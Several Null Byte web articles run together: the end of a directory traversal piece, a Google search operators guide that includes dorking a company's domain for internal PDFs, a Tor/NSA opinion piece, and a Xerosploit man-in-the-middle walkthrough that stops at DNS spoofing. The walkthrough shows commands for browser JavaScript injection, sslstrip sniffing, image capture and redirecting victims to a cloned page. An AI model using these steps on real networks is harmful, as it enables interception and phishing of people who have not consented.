done (especially if an admin wants to go above and beyond the call of duty) is to actually test if their application is vulnerable to directory traversal. It's easy enough to manually attempt these procedures, but there are tools out there that can easily automate most of the testing likeDirBuster,ZAP, andDotDotPwn.Wrapping UpDirectory traversal allows an attacker to exploit security misconfigurations in an attempt to view or modify sensitive information. This is one of the simpler attacks to perform, but the results can be disastrous, particularly if personal or financial data is gleaned or if critical information about the server is compromised and used as a pivot point. As you can see, in the world of hacking information is king.Don't Miss:How to Find Directories in Websites Using DirBusterFollow Null Byte onTwitter,Flipboard, andYouTubeFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image byCounselling/Pixabay; Screenshots by drd_/Null ByteRelatedHow To:Use Websploit to Scan Websites for Hidden DirectoriesHow To:Leverage a Directory Traversal Vulnerability into Code ExecutionHack Like a Pro:How to Find Directories in Websites Using DirBusterHacking macOS:How to Dump Passwords Stored in Firefox Browsers RemotelyHow To:Turtl - Encrypted Cloud NotesNews:Many Lookup EnginesHacking macOS:How to Perform Situational Awareness Attacks, Part 2 (Finding Files, History & USB Devices)How To:Detect Vulnerabilities in a Web Application with UniscanHow To:Build a Directory Brute Forcing Tool in PythonHow To:Protect sensitive files with an encrypted flash driveHacking Windows 10:How to Steal & Decrypt Passwords Stored in Chrome & Firefox RemotelyHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 2 (Creating Directories & Files)How To:Find Hidden Web Directories with DirsearchHow To:Use LinEnum to Identify Potential Privilege Escalation VectorsHacking macOS:How to Sniff Passwords on a Mac in Real Time, Part 1 (Packet Exfiltration)Hack Like a Pro:How to Find Website Vulnerabilities Using WiktoHow To:Detect Misconfigurations in 'Anonymous' Dark Web Sites with OnionScanHow To:Remove sensitive information in Adobe Acrobat 9 ProHacking macOS:How to Hack a Mac Password Without Changing ItGoodnight Byte:HackThisSite Walkthrough, Part 8 - Legal Hacker TrainingNews:First Steps of Compiling a Program in LinuxCommunity Byte:HackThisSite Walkthrough, Part 8 - Legal Hacker TrainingRainbow Tables:How to Create & Use Them to Crack PasswordsHow To:Chain Proxies to Mask Your IP Address and Remain Anonymous on the WebHow To:Start With Site Setting For Snoft Article Directory ScriptHow To:enable & disable Page File EncryptionHow To:Encrypt Your Sensitive Files Using TrueCryptHow To:Hack Mac OS X Lion PasswordsNews:The Girdle Of Venus - PalmistryHow To:Make Your Laptop Theft ProofNews:Blog search directoryHow To:Use Wireshark to Steal Your Own Local PasswordsHow To:Install "Incompatible" Firefox Add-Ons After Upgrading to the New FirefoxHow To:Recover Deleted Files in LinuxGoodnight Byte:HackThisSite Walkthrough, Part 10 - Legal Hacker TrainingHow To:Stream Media to a PS3 or Xbox 360 from Mac & Linux ComputersHow To:Encrypt your Skype Messages to Thwart Snooping Eyes Using PidginHow To:Use Tortunnel to Quickly Encrypt Internet TrafficHow To:How Hackers Use Your IP Address to Hack Your Computer & How to Stop ItGoodnight Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker Training |
How to Use Google Search Operators to Find Elusive Information « Null Byte :: WonderHowTo | Google is an incredibly useful database of indexed websites, but querying Google doesn't search for what you type literally. The algorithms behind Google's searches can lead to a lot of irrelevant results. Still, with the right operators, we can be more exact while searching for information that's time-sensitive or difficult to find.If you've ever searched for the answer to a programming question and found yourself buried in results that don't work, or tried to look up someone with the same name as someone famous, you may have experienced some of the shortcomings of Google. Because Google by default doesn't search for the literal words you type, it's common to end up with a ton of unrelated resultsTypes of Searches Google Isn't Good AtThere are a lot of things Google does well, but looking for certain types of answers expose these flaws pretty clearly. If we're trying to figure out why we're getting a Python error, you can see immediately why these search results might not be useful.Yikes! For a search about a library that is actively updated, an article from 2014 has a meager chance of still working as described in 2019.Another problem comes up when we start trying to search for programming and technical terms that may have other, more universal meanings. If what we're looking for is the standard list feature of C++, the query would be "std :: list". Searching for this produces many unpleasant and unrelated results as Google ignores the "::" and returns a list of sexually transmitted diseases.Staring at a screen full of confusing results can be daunting. Still, we can clean up these searches by understanding the way Google finds information and using operators to zero in on precisely what we want to find. Using these operators can dramatically reduce the time needed to find the result you're trying to dig up.Don't Miss:Find Identifying Information from a Phone Number Using OSINT ToolsWhat You'll NeedFor this guide, you'll only need a browser connected to the internet and access to Google. We'll be locating information about targets that are difficult to search for, so this should work on any operating system provided you can run Google searches.Below, you can see a list of the search operators we'll be using to dig through the data.By using the right operator for the right problem, we can cut down the amount of time we have to spend looking at irrelevant results. You can find alist of Google's documented search operators here.Step 1: Finding Programming Related ResultsWhen you're searching for queries that revolve around software, one of the most important things to consider is time. When something was published is vital to consider when deciding if an answer is useful, to the point that it's not useful to include any results that are too far outside the helpful range.Consider searching for answers about Python, a common programming language. Python is continuously changing and being updated, and there are multiple versions in use today. As a result, information about it that was published a decade ago would be extremely out of date and most likely inaccurate — especially if you're using a more recently released version.The first thing you should consider when searching for the answer to a technical question is when an article is too old to be useful. By setting a filter to omit anything too old to be useful, we can easily limit our searches to relevant results. Conversely, if we need to look up a software answer for an old library or an older version of the software you're working with, we can limit our search to results published before a specific date — say, when the newer version was released.Don't Miss:Use Facial Recognition to Conduct OSINT Analysis on Individuals & CompaniesThere are two ways of doing this. The first is to click on the "tools" and then "any time" option, and select "past year." The second is to specify a date either to find results before or after. The format for this isbefore:dateandafter:date. You can see an example of the "any time" and "before" options in use below.The date of publication is only one part of the puzzle. We can also chain operators together to specify the source of our data. If we search for "Scapy_Exception", the first result is out of date, and others are from sources that may not be reputable.Let's say we want to only get answers from high-quality sources, or at least sources we expect won't produce garbage. We can select as many sites to add to the list as we want with thesite:operator and theORoperator to chain them together.site:stackoverflow.com OR site:stackexchange.com OR site:github.com OR site:gitlab.com after:2018 "Scapy_Exception"By addingafter:2018to the string, we'll only find results after 2018 published on these websites.Now, the results we see are from the sources we want and limited to dates that are useful.Step 2: Removing Unwanted ResultsLet's say we need to remove unwanted search results, using our example ofstd :: listfrom before. The simplest way to do this is with the-operator, which we can use to eliminate results that contain key phrases that aren't in the result we want.When we are dealing with acronyms, the most effective way of doing this is to remove results that contain words in the wrong interpretation. For example, adding a simple-transmittedis enough to clean up the search from earlier.We can also clean up these results by eliminating websites from the results that are causing a lot of false results. Here, we can get similar results by removing the top three sites giving us irrelevant results.Both methods are effective for removing results that are cluttering up your search.Step 3: Identifying Files on Specific DomainsWe can search for files that might be interesting by combining thesiteandfiletypeoperator, allowing us to possibly find files that weren't supposed to be made public. For gathering official documents, PDF's are a great format to try digging up.Here, we search the domain spacex.com for any PDF files that mention the word "internal" to try to find documents that might give us clues into their internal procedures.You can replace PDF's with PPTX for powerpoint, DOCX for word files, and other formats you may find interesting. If you have a list of multiple domains to search, you can chain them together with theORoperator to search multiple websites for files.Don't Miss:Use the Buscador OSINT VM for Conducting Online InvestigationsStep 4: Using Everything with Advanced SearchWhile it isn't as easy as just throwing in an operator to a standard search, you can always access these options in a graphical layout bynavigating to Google's advanced searchpage.The advanced search page will allow you to use any combination of operators to create a structured search. It is mostly useful for reference, as you might only use a few of these operators for any specific search.Some useful options here are also language and region, which depending on what research you are doing, can be helpful to filter your results to a specific region or look for documents in a specific language.Google Searches Can Be a Lot Faster with the Right OperatorsBy stringing together different search operators, it's possible to take a search full of irrelevant results and cut it down to the perfect answer. This skill is useful not only for hackers but for anyone needing to look up time-sensitive questions about technology or software. A more advanced version of this, Google Dorking, allows us to search for vulnerable systems by using these search operators to locate text strings on the exposed pages, which we'll explore in our next article on using Google for OSINT investigations.I hope you enjoyed this guide to using Google search operators! If you have any questions about this tutorial on refining your online searches, leave a comment below, and feel free to reach me on Twitter@KodyKinzie.Don't Miss:How to Find Passwords in Exposed Log Files with Google DorksWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo bymoovstock/123RF, screenshots by Kody/Null ByteRelatedHugging the Web (Part 2:Surveillance Takeover)How To:Google Search Tips and Tricks Part 1How To:Use Google to Hack(Googledorks)How To:Search YouTube more efficiently with search operatorsHow To:Hack GoogleHow To:Find Passwords in Exposed Log Files with Google DorksHow To:Phreak (Basics)Hugging the Web (Part 1:Introduction)How To:5 Things You Can Do on the Play Store You Didn't Know AboutHow to Train Your Python:Part 12, Logical and Membership OperatorsHow To:Use Google to download musicNews:Google Partners with Red Cross & FEMA to Create SOS AlertsHow To:Security-Oriented C Tutorial 0x06 - OperatorsHow To:Use logical operators in Microsoft Access queriesHow To:Use Boolean operators in Microsoft Access queriesNews:Google Arts & Culture App Lets You Turn Your Home into an AR Museum Featuring the Works of VermeerHow to Train Your Python:Part 14, More Advanced Lists, Lambda, and Lambda OperatorsHow To:Create Google Now Reminders Straight from Google Search on Your ComputerHow To:6 Reasons You Might Actually Want to Give Google Your Location DataNews:Learn The APOLLO / SUN Line - Palmistry - MagnetismHow To:Make the Most of Your Google+ PageNews:Unconventional Edit in Mann's "Public Enemies" (DP: Dante Spinotti)How To:Nab Free eBooks Using GoogleNews:YouthSportTravel.comHow To:Get the 'Master Fortune Hunter' Trophy in Uncharted 3: Drake's DeceptionLiveOps:High Paying Home Call OperatorHow To:Search for Google+ Profiles and Posts Using Chrome's Search Engine SettingsThe Anonymous Search Engine:How to Browse the Internet Without Being TrackedNews:Search Engine Optimization For Your WebsiteHow To:Search for Google+ Posts & Profiles with GoogleNews:Social Media Buttons – Solution For Inadvertent Data TransmissionNews:A Few Helpful Google Search TipsHow To:Use Google's New Privacy Tools to Stop Them from Tracking YouNews:Google+ Pro Tips Weekly Round Up: Getting Information on GoogleNews:Exotic Fish Mini-DocHow To:Travel Around the World for $418News:Introduction To Keywords & Google Keyword ToolNews:Google’s Keyword ToolNews:Google+ Pro Tips Weekly Round Up: Google Cleans UpNews:Hangout on Your Mobile Phone with Google+ & More |
Is Tor Broken? How the NSA Is Working to De-Anonymize You When Browsing the Deep Web « Null Byte :: WonderHowTo | Ever since the FBItook down the Silk Road and Dread Pirate Robertslast month, many questions have been raised about whetherTorstill provides anonymity or not, and if it's now broken. I'll try to address that question here today succinctly from multiple angles, keeping it as simple and plain-language as possible.The Closing of Silk RoadFirst, let's address the Silk Road takedown. According topublished reports, the FBI relied upon good old investigative techniques to track down Dread Pirate Roberts. They gave no indication that they used a flaw in Tor to do this, but if they did and didn't tell us, it would not be the first time the FBI was disingenuous with the American public.Even if the FBI did not use flaws in Tor to take down Silk Road, there remain questions about whether Tor still delivers the anonymity that so many have assumed it did. Let's take a look at some of the techniques that NSA is employing right now to break your anonymity on the Tor network.The Snowden RevelationsEdward Snowden, the NSA contractor now in exile in the Russian Federation after leaking information of NSA spying on innocents across the globe, revealed some information on how NSA is cracking Tor.Tor has always been a thorn in the NSA side as they hate anyone that can do anything without the NSA being able to spy on them. As such, they have focused significant resources to be able to open Tor to their spying.As you know, Torrelies upona series of volunteer Tor relays or routers to move data across the globe, similar but separate from the routers that are used on the Internet. These routers are usually individuals who lend some of their bandwidth in the interest of global privacy and anonymity. These routers only track the last IP address the packet came from and is going to and not the original source IP.It turns out that the NSA has set up some of their own Tor routers to be able to track some of the Tor network traffic. By setting up their own Tor routers, the NSA is able to sniff some of the Tor traffic as it passes their relay/router.Of course, this doesn't give them a peek atallTor traffic (they would have to set up thousands of Tor routers and make certain that traffic did not access the other routers to do this), but it does give them a peek of at least some of it.Anecdotally, this past summer, I was working at a major Department of Defense contractor near NSA headquarters at Ft. Meade and noticed that my Tor browsing speed was much faster than I usually experience in my hometown in the Rocky Mountains of the U.S. The NSA's Tor routers with dedicated bandwidth were likely why.The Firefox FlawsIt also turns out that the NSA had been taking advantage of a zero-day vulnerability in the Firefox web browser used by Tor. NSA has been embedding cookies that tracked Tor users on the net. That flaw has been closed by the Mozilla Project, but you may still have that cookie in your browser and are being tracked by NSA.For optimal anonymity, delete your cookies and update your Tor browser.SSL Is Not as Secure as You ThinkNSA has been working on cracking SSL encryption for some time. Tor is dependent upon SSL and its 1024-bit encryption to maintain its anonymity. Each relay only decrypts enough information to be able to send the packet to the next relay. These 1024-bit keys are rapidly becoming outdated as computing horsepower has increased.Recognizing this, the Tor project has been moving to the far more secure elliptical curve cryptography (ECC). Unfortunately, only about one-quarter of all Tor sites have updated to the more secure elliptical curve cryptography, leaving three-quarters of Tor traffic susceptible to NSA decryption and snooping.How Google Ads Hurt UsApparently, NSA has also been using advertising services like Google AdSense to be able to track Tor users. Here's how it works.When you're using Tor and click on an ad, it places a cookie in your browser. When you use that same browser—even while not using Tor capabilities and the Tor network—the NSA can look for that cookie to identify you as a Tor user.They can then correlate that cookie with your actual IP address that appears on every website when you're not using Tor.Entry & Exit PointsAs the NSA has access to ALL traffic on the Internet, and all Tor traffic looks different from regular Internet traffic, they can identify Tor traffic from other Internet traffic.It has long been known that if an adversary had access to both the entry and exit points on Tor, they can determine both the user and the destination.It goes without saying, that the NSA has access to all of this information, so if they want, they can identify you and your destination.ConclusionIt seems clear that the absolute privacy that we assumed Tor provided us has been compromised by the NSA, but this doesn't mean that Tor is useless.All of these techniques employed by the NSA give them a glimpse at a slice of Tor traffic, but not all of it. What it does mean, though, is that if the NSA wants to track your Tor movements on the web, they can.It helps that if you are using the Tor browser for anonymity, use a different browser for your regular Internet navigation. Barring the fact that the NSA has targeted you for surveillance, Tor still provides some relative anonymity—but not absolute anonymity on the web—so be careful out there!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseNSAimage via The Hacker News,sliced onionandmoldy onionvia ShutterstockRelatedTor for Android:How to Stay Anonymous on Your PhoneHow To:Access Deep WebHack Like a Pro:How to Keep Your Internet Traffic Private from AnyoneHack Like a Pro:How to Hack Like the NSA (Using Quantum Insert)How To:Access the Dark Web While Staying Anonymous with TorHow To:With the Silk Road Bust, the Online Black Market Already Has a New HomeThe Hacks of Mr. Robot:How Elliot & Fsociety Made Their Hack of Evil Corp UntraceableBlackphone:The Answer to NSA SnoopingHow To:Detect Misconfigurations in 'Anonymous' Dark Web Sites with OnionScanHow To:The Top 80+ Websites Available in the Tor NetworkHow To:Become Anonymous & Browse the Internet SafelyHow To:Fully Anonymize Kali with Tor, Whonix & PIA VPNHow To:Browse the web anonymously using Privoxy and TorHow To:Use Private Encrypted Messaging Over TorNews:Reality of VPNs, Proxies, and TorEditor Picks:The Top 10 Secret Resources Hiding in the Tor NetworkTor vs. I2P:The Great Onion DebateNews:Anonymity, Darknets and Staying Out of Federal Custody, Part Three: Hidden ServicesAnonymous Browsing in a Click:Add a Tor Toggle Button to ChromeNews:Anonymity, Darknets and Staying Out of Federal Custody, Part Two: Onions and DaggersHow To:Completely Mask & Anonymize Your BitTorrent Traffic Using AnomosNews:Anonymity, Darknets and Staying Out of Federal Custody, Part Four: The Invisible InternetNews:Anonymity Networks. Don't use one, use all of them!Whistleblower:The NSA is Lying–U.S. Government Has Copies of Most of Your EmaHow To:Become Anonymous on the Internet Using TorNews:Anonymity, Darknets and Staying Out of Federal Custody, Part One: Deep WebNews:Joel Sherman Breaks Scrabble Record with 803-Point GameHow To:Use Tortunnel to Quickly Encrypt Internet TrafficNews:NSA Axes Printed SCRABBLE News in Favor of Online PDFsNews:Feds arrest several in connection to Drugs on Tor networks 'Silk Road'News:Make an "On/Off" Tor Button for ChromeHow To:Quickly Encrypt Your Web Browsing Traffic When Connected to Public WiFiNews:Info on Prop. 22 |
How to Perform Advanced Man-in-the-Middle Attacks with Xerosploit « Null Byte :: WonderHowTo | A man-in-the-middle attack, orMitM attack, is when a hacker gets on a network and forces all nearby devices to connect to their machine directly. This lets them spy on traffic and even modify certain things.Bettercapis one tool that can be used for these types of MitM attacks, but Xerosploit can automate high-level functions that would normally take more configuration work in Bettercap.Xerosploit rides on top of a few other tools, namely, Bettercap andNmap, automating them to the extent that you can accomplish these higher-level concepts in just a couple of commands.However, Xerosploit can be hit or miss, so don't be surprised if some webpages can't be spoofed because the target is using HTTPS or funneling traffic through a VPN. Considering 73% of all websites use HTTPS, you'll only have success manipulating webpages on the remaining 27%, and only if no VPN is being used.Don't Miss:How to Flip Photos, Change Images & Inject Messages into Friends' Browsers on Your Wi-Fi NetworkSome sites can still be accessed via HTTP because they aren't redirecting insecure requests to HTTPS, and some don't even have secure versions yet. Here is a small sample, but there are many more in that 27%:alternativenation.netbaidu.combu.edudrudgereport.comgnu.orggo.comicio.usmyshopify.comwashington.eduweevil.infowikidot.comWhat's NeededWe've only tested Xerosploit out on Ubuntu and Kali Linux, but it may work on macOS. However, you can only select between "Ubuntu / Kali Linux / Others" and "Parrot OS" during the installation process.You'll also need the latest version ofPythoninstalled on your computer.Step 1: Install XerosploitFirst, install Xerosploit offGitHubusinggit clone.~$ git clone https://github.com/LionSec/xerosploit
Cloning into 'xerosploit' ...
remote: Enumerating objects: 306, done.
remote: Total 306 (delta 0), reused 0 (delta 0), pack-reused 306
Receiving objects: 100% (306/306), 793.28 KiB | 2.38 MiB/s, done.
Resolving deltas: 100% (68/68), done.Then, change into its directory (cd) and start the installer using Python. It will ask you to select your operating system; if using Kali Linux, choose1and hitenter.~$ cd xerosploit && sudo python install.py
┌══════════════════════════════════════════════════════════════┐
█ █
█ Xerosploit Installer █
█ █
└══════════════════════════════════════════════════════════════┘
[++] Please choose your operating system.
1) Ubuntu / Kali Linux / Others
2) Parrot OS
>>> 1
[++] Insatlling Xerosploit ...
Get:1 http://kali.download/kali kali-rolling inRelease [30.5 kB]
Get:2 http://kali.download/kali kali-rolling/main Sources [14.0 kB]
...
Xerosploit has been successfully installed. Execute 'xerosploit' in your termninal.Step 2: Install the DependenciesFor Xerosploit to do its job correctly, you'll need all of the tools that it built its service on top of, including Nmap, hping3, build-essential, ruby-dev, libpcap-dev, and libgmp3-dev. If you're using Kali, you probably already have all of these.~/xerosploit$ sudo apt install nmap hping3 build-essential ruby-dev libpcap-dev libgmp3-dev
Reading package lists ... Done
Building dependency try ... Done
Reading state information ... Done
build-essential is already the newest version (12.9).
build-essential set to manually installed.
hping3 is already the newest version (3.a2.ds2-10).
hping3 set to manually installed.
nmap is already the newest version (7.91+dfsg1-1kali1).
nmap set to manually installed.
ruby-dev is already the newest version (1:2.7+2).
ruby-dev set to manually installed.
libpcap-dev is already the newest version (1.9.1-r0).
libpcap-dev set to manually installed.
libgmp3-dev is already the newest version (2:6.0.0+dfsg-6).
libgmp3-dev set to manually installed.And use Python to install tabulate and terminaltables, which will let Xerosploit display information to you in an easy-to-read way. You likely already have these tools too.~/xerosploit$ sudo pip3 tabulate terminaltables
Requirement already satisfied: tabulate in /usr/lib/python3/dist-packages (0.8.7)
Requirement already satisfied: terminaltables in /usr/lib/python3/dist-packages (3.1.0)Step 3: View Xerosploit's CommandsStart Xerosploit with thexerosploitcommand. Right away, it will show you information on your network configuration.~/xerosploit$ sudo xerosploit
▄ ▄███▄ █▄▄▄▄ ████▄ ▄▄▄▄▄ █ ▄▄ █ ████▄ ▄█ ▄▄▄▄▀
▀▄ █ █▀ ▀ █ ▄▀ █ █ █ ▀▄ █ █ █ █ █ ██ ▀▀▀ █
█ ▀ ██▄▄ █▀▀▌ █ █ ▄ ▀▀▀▀▄ █▀▀▀ █ █ █ ██ █
▄ █ █▄ ▄▀ █ █ ▀████ ▀▄▄▄▄▀ █ ███▄ ▀████ ▐█ █
█ ▀▄ ▀███▀ █ █ ▀ ▐ ▀
▀ ▀ ▀
[+]═══════════[ Author : @LionSec1 _-\|/-_ Website: www.neodrix.com ]═══════════[+]
[ Powered by Bettercap and Nmap ]
┌═════════════════════════════════════════════════════════════════════════════┐
█ █
█ Your Network Configuration █
█ █
└═════════════════════════════════════════════════════════════════════════════┘
╒════════════════════════════════════════════════════════════════════════════╤═══════════════════╤═════════════╤═════════╤═════════════╕
│ IP Address │ MAC Address │ Gateway │ Iface │ Hostname │
╞════════════════════════════════════════════════════════════════════════════╪═══════════════════╪═════════════╪═════════╪═════════════╡
├────────────────────────────────────────────────────────────────────────────┼───────────────────┼─────────────┼─────────┼─────────────┤
│ 192.168.8.172 fd0b:ed07:cb03:10::3fa fd0b:ed07:cb03:10:dcf1:e71a:2dc3:299f │ 28:D2:44:23:54:2B │ 192.168.8.1 │ eth0 │ Macbook-Pro │
╘════════════════════════════════════════════════════════════════════════════╧═══════════════════╧═════════════╧═════════╧═════════════╛
╔═════════════╦════════════════════════════════════════════════════════════════════╗
║ ║ Xerosploit is a penetration testing toolkit whose goal is to ║
║ Information ║ perform man in the middle attacks for testing purposes. ║
║ ║ It brings various modules that allow to realise efficient attacks. ║
║ ║ This tool is Powered by Bettercap and Nmap. ║
╚═════════════╩════════════════════════════════════════════════════════════════════╝
[+] Please type 'help' to view commands.
Xero ➮Typehelpto see all of the commands available in Xerosploit.Xero ➮ help
╔══════════╦════════════════════════════════════════════════════════════════╗
║ ║ ║
║ ║ scan : Map your network. ║
║ ║ ║
║ ║ iface : Manually set your network interface. ║
║ COMMANDS ║ ║
║ ║ gateway : Manually set your gateway. ║
║ ║ ║
║ ║ start : Skip scan and directly set your target IP address. ║
║ ║ ║
║ ║ rmlog : Delete all xerosploit logs. ║
║ ║ ║
║ ║ help : Display this help message. ║
║ ║ ║
║ ║ exit : Close Xerosploit. ║
║ ║ ║
╚══════════╩════════════════════════════════════════════════════════════════╝
[+] Please type 'help' to view commands.
Xero ➮Don't Miss:How to Use Ettercap to Intercept Passwords with ARP SpoofingStep 4: Run a Scan to Identify TargetsFirst, we'll do some recon to identify a target by running thescancommand, which runs on top of Nmap.Xero ➮ scan
[++} Mapping your network ...
[+]═══════════[ Devices found on your network ]═══════════[+]
╔═══════════════╦═══════════════════╦═══════════════════════════════╗
║ IP Address ║ Mac Address ║ Manufacturer ║
║═══════════════║═══════════════════║═══════════════════════════════║
║ 192.168.8.1 ║ 94:83:C4:00:EB:C5 ║ (Unknown) ║
║ 192.168.8.215 ║ B8:70:F4:AD:44:C8 ║ (Compal Information(kunshan)) ║
║ 192.168.8.172 ║ 28:D2:44:12:23:6B ║ (This device) ║
╚═══════════════╩═══════════════════╩═══════════════════════════════╝
[+] Please choose a target (e.g. 192.168.1.10). Enter 'help' for more information.
Xero ➮You should see a list of IP addresses returned, and if all went well, one of those IP addresses would be the one you want to target. So, type in the IP address of the device you want to target. For me, it's the "kunshan" device.Xero ➮ 192.168.8.215
[++] 192.168.8.215 ha been targeted.
[+] Which module do you want to load ? Enter 'help' for more information.
Xero»modules ➮Now, it will ask you which module you want to run against the target. If you don't know the module you want, typehelpto see a complete list.Xero»modules ➮ help
╔═════════╦════════════════════════════════════════════════════════════════════╗
║ ║ ║
║ ║ pscan : Port Scanner ║
║ ║ ║
║ ║ dos : DoS Attack ║
║ ║ ║
║ ║ ping : Ping Request ║
║ ║ ║
║ ║ injecthtml : Inject Html code ║
║ ║ ║
║ ║ injectjs : Inject Javascript code ║
║ ║ ║
║ ║ rdownload : Replace files being downloaded ║
║ ║ ║
║ ║ sniff : Capturing information inside network packets ║
║ MODULES ║ ║
║ ║ dspoof : Redirect all the http traffic to the specified one IP ║
║ ║ ║
║ ║ yplay : Play background sound in target browser ║
║ ║ ║
║ ║ replace : Replace all web pages images with your own one ║
║ ║ ║
║ ║ driftnet : View all images requested by your targets ║
║ ║ ║
║ ║ move : Shaking Web Browser content ║
║ ║ ║
║ ║ deface : Overwrite all web pages with your HTML code ║
║ ║ ║
╚═════════╩════════════════════════════════════════════════════════════════════╝
[+] Which module do you want to load ? Enter 'help' for more information.
Xero»modules ➮Step 5: Shake the Target's Web BrowserOut of all the modules, the most simple one to run ismove, which will shake the web browser on the target computer. This helps verify that we have access to the target, or at least, that we can manipulate their connection.Don't Miss:How to Target Bluetooth Devices with BettercapXero»modules ➮ move
┌══════════════════════════════════════════════════════════════┐
█ █
█ Shakescreen █
█ █
█ Shaking Web Browser content █
└══════════════════════════════════════════════════════════════┘
[+] Enter 'run' to execute the 'move' command.
Xero»modules»shakescreen ➮To start the Shakescreen effect, userun, which will begin injecting JavaScript code into the browser whenever the target visits a website. But remember, it will only work on webpages that use HTTP and not HTTPS.Xero»modules»shakescreen ➮ run
[++] Injecting shakescreen.js ...
[++] Press 'Ctrl + C' to stop.So as soon as they open an HTTP webpage, the page should start shaking uncontrollably. At first, the target might think something was wrong with their display until they noticed that the browser window itself and everything behind it are not vibrating. Then they might think their internet is having issues.This will keep happening on every HTTP webpage they visit until you stop the attack withControl-Cin the terminal.stop
^C
Stopping MITM attack ...
[+] Enter 'run' to execute the 'move' command.
Xero»modules»shakescreen ➮Step 6: Replace All Images in the Target's BrowserNow, let's test out another module. To return to the module selection screen, typebackandenter.Xero»modules»shakescreen ➮ back
[+] Which module do you want to load ? Enter 'help' for more information.
Xero»modules ➮Xerosploit has a fun attack tool calledreplacethat will let us swap out all of the images loading on an HTTP-based webpage with any picture that we want.Xero»modules ➮ replace
┌══════════════════════════════════════════════════════════════┐
█ █
█ Image Replace █
█ █
█ Replace all web pages images with your own one █
└══════════════════════════════════════════════════════════════┘
[+] Enter 'run' to execute the 'replace' command.
Xero»modules»replace ➮To start the Image Replace tool, typerun, and it will immediately ask you to add the picture's path.Xero»modules»replace ➮ run
[+] Insert your image path. (e.g. /home/capitansalami/pictures/fun.png)
Xero»modules»replace ➮Find an image on your computer, then either type out the path or drag-and-drop the image into the terminal window to auto-populate it. Hitenterto start the attack.Xero»modules»replace ➮ /root/Desktop/Bolton/index_files/JBolton_Walrus.jpg
[++] All images will be replaced by /root/Desktop/Bolton/index_files/JBolton_Walrus.jpg
[++] Press 'Ctrl + C' to stop .Whenever an HTTP-based webpage loads on the target browser, all of its images will be replaced with the one image we chose. It doesn't always work 100%, so a few images may slip by unchanged, and it can be a little slow depending on the connection speed, but in general, it works pretty well.This will continue to happen on every HTTP page until you stop the attack.^C
Stopping MITM attack ...
[+] Enter 'run' to execute the 'replace' command.
Xero»modules»replace ➮Step 7: Capture Data Over the NetworkLet's try another module. To return to the module selection screen, typebackandenter.Xero»modules»replace ➮ back
[+] Which module do you want to load ? Enter 'help' for more information.
Xero»modules ➮With thesniffmodule, we can capture some general data over the network.Xero»modules ➮ sniff
┌══════════════════════════════════════════════════════════════┐
█ █
█ Sniffing █
█ █
█ Capturing any data passed over your local network █
└══════════════════════════════════════════════════════════════┘
[+] Please type 'run' to execute the 'sniff' command.
Xero»modules»sniff ➮Once the Sniffing tool is selected, typerunto begin sniffing. It will then ask you if you want to loadsslstrip, which will attempt to downgrade traffic so that we can pick up some interesting information that we might otherwise lose.Xero»modules»sniff ➮ run
[+] Do you want to load sslstrip ? (y/n).
Xero»modules»sniff ➮ y
[++] All logs are saved on : /opt/xerosploit/xerosniff
[++] Sniffing on 192.168.8.215
[++] sslstrip : ON
[++] Press 'Ctrl + C' to stop .A new window should open to show all of the packets being intercepted and saved to your computer. In the window, you can easily see which websites the target is visiting and what data is being requested and sent.When you're done sniffing packets, you can stop the attack withControl-Con your keyboard. Then, you'll be asked if you want to save the logs or not. UseYfor yes,Nfor no.^C
Stopping MITM attack ...
[+] Do you want to save logs ? (y/n).
Xero»modules»sniff ➮ n
[++] Logs have been removed.
[+] Please type 'run' to execute the 'sniff' command.
Xero»modules»sniff ➮Step 8: View All Images Loaded in the Target's BrowserLet's try another module. To return to the module selection screen, typebackandenter.Xero»modules»sniff ➮ back
[+] Which module do you want to load ? Enter 'help' for more information.
Xero»modules ➮Enterdriftnet, which is a tool that lets you view every single image that is requested by the target's browser, thenrunit. It will then start logging all pictures seen on HTTP webpages from the target browser and save them to the /opt/xerosploit/xedriftnet folder.Xero»modules ➮ driftnet
┌══════════════════════════════════════════════════════════════┐
█ █
█ Driftnet █
█ █
█ View all images requested by your target █
└══════════════════════════════════════════════════════════════┘
[+] Enter 'run' to execute the 'driftnet' command.
Xero»modules»driftnet ➮ run
[++] Capturing requested images on 192.168.8.215 ...
[++] All captured images will be temporarily saved in /opt/xerosploit/xedriftnet
[++] Press 'Ctrl + C' to stop.When ready to check out the treasure chest of goodies, open a separate terminal window, then change into the "xedriftnet" folder. You can list (ls) its contents then to see what was captured.~$ cd /opt/xerosploit/xedriftnet
~/opt/xerosploit/xedriftnet$ lsStep 9: Run the DNS Spoofing Module on a TargetIf you want to re-route traffic to a specific IP address, thedspoofmodule can help. But first, you'll want to create a fake website to redirect others to on the network. So, visit a website you want to copy, save its HTML file, and rename it "index.html."Next, open a separate terminal window and navigate to the same folder as the index.html file. Run the following command to create a local version of the webpage, changing theYOUR_IPpart to the IP address of your machine.~$ sudo python3 -m http.server --bind YOUR_IP 80Then, return to the terminal window with Xerosploit, and run thedspoofcommand. But first, return to the module selection screen. Then, open and run the DNS spoofing tool.When asked, give your IP address as the address to redirect traffic to. All webpages that load will be the page you cloned!Xero»modules»sniff ➮ back
[+] Which module do you want to load ? Enter 'help' for more information.
Xero»modules ➮ dspoof
